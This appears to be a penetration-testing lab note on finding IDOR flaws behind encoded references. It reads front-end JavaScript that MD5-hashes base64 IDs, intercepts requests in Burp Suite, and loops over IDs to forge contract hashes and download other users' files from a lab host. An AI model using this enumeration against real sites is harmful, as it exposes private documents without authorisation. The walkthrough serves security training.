ENCODED REFERENCES

secure direct object reference uses encoded references to make IDOR enumeration more difficult. one possible way to circumvent and identify potential IDOR on encoded references is if web developers makes a mistake of performing sensitive functions on the front-end (aka function disclosure).

#identification - walk the application - carefully examine, test, and analyze how an application works
root@oco:~$ BROWSER > {targetSite:port}
 Documents
 Contracts
root@oco:~$ BROWSER > {targetSite:port}/documents.php > CTRL+U
 <li class="pure-tree_link">...
root@oco:~$ BROWSER > {targetSite:port}/contracts.php > CTRL+U
 <li class="pure-tree_link">...
 
  ...
 javascript:downloadContract('1')
 
 function downloadContract(uid) {
    $.redirect("/download.php", {
        contract: CryptoJS.MD5(btoa(uid)).toString(),
    }, "POST", "_self");
 }
 
 * this function sends a POST request with the contract parameter. the value it is sending is an md5 hash using the CryptoJS library.
   the value being hashed is btoa(uid), which is the base64 encoded string of the uid variable, which is an input argument for the function.
   it is calling downloadContract('1') and the final value being used in the POST request is the base64 encoded string of 1, which was then md5 hashed.
 
#IDOR identification & testing
root@oco:~$ burpsuite
root@oco:~$ BROWSER > FoxyProxy > Burp
root@oco:~$ BURP SUITE > Proxy > Intercept is on
 Request
  ...
  POST /download.php HTTP/1.1
  Host: 94.237.62.184:42702
  Origin: http://94.237.62.184:42702
  Content-Type: application/x-www-form-urlencoded
  Referer: http://94.237.62.184:42702/

  uid=1
  
  * ALT: on some occassions the data is in an encoded form such as:
     - data
        - contract=cdd96d3cc73d1dbdaffa03cc6cd7339b
        - uid=MQ%3D%3D
     - URL
        - /download.php?contract=MQ%3D%3D

root@oco:~ echo -n 1 | base64 -w 0 | md5sum | tr -d ' -'
 cdd96d3cc73d1dbdaffa03cc6cd7339b
 * the -n flag is used to exclude the trailing new line from the output
 * the the -w 0 flag with base64 is used to avoid adding newlines

 * compare this with the hash on the HTTP request (if used)

#test manual download
root@oco:~$ for i in {1..10}; do echo -n $i | base64 -w 0 | md5sum | tr -d ' -'; done
 cdd96d3cc73d1dbdaffa03cc6cd7339b
 0b7e7dee87b1c3b98e72131173dfbbbf
 0b24df25fe628797b3a50ae0724d2730
 f7947d50da7a043693a592b4db43b0a1
 8b9af1f7f76daf0f02bd9c48c4a2e3d0
 006d1236aee3f92b8322299796ba1989
 b523ff8d1ced96cef9c86492e790c2fb
 d477819d240e7d3dd9499ed8d23e7158
 3e57e65a34ffcb2e93cb545d024f5bde
 5d4aace023dc088767b4e08c79415dcd
 
 * compare each output to the values on the Repeater
 
BURP > Repeater
 Request
  ...
  GET /download.php?contract=MQ%3D%3D HTTP/1.1
  Host: 94.237.62.184:34855
  Referer: http://94.237.62.184:34855/contracts.php
 Response
  HTTP/1.1 200 OK
  Date: Tue, 31 Dec 2024 03:13:25 GMT
  Server: Apache/2.4.41 (Ubuntu)
  Content-Description: File Transfer
  Content-Disposition: attachment; filename="contract_c4ca4238a0b923820dcc509a6f75849b.pdf"
  Pragma: public
  Content-Type: application/pdf

Last updated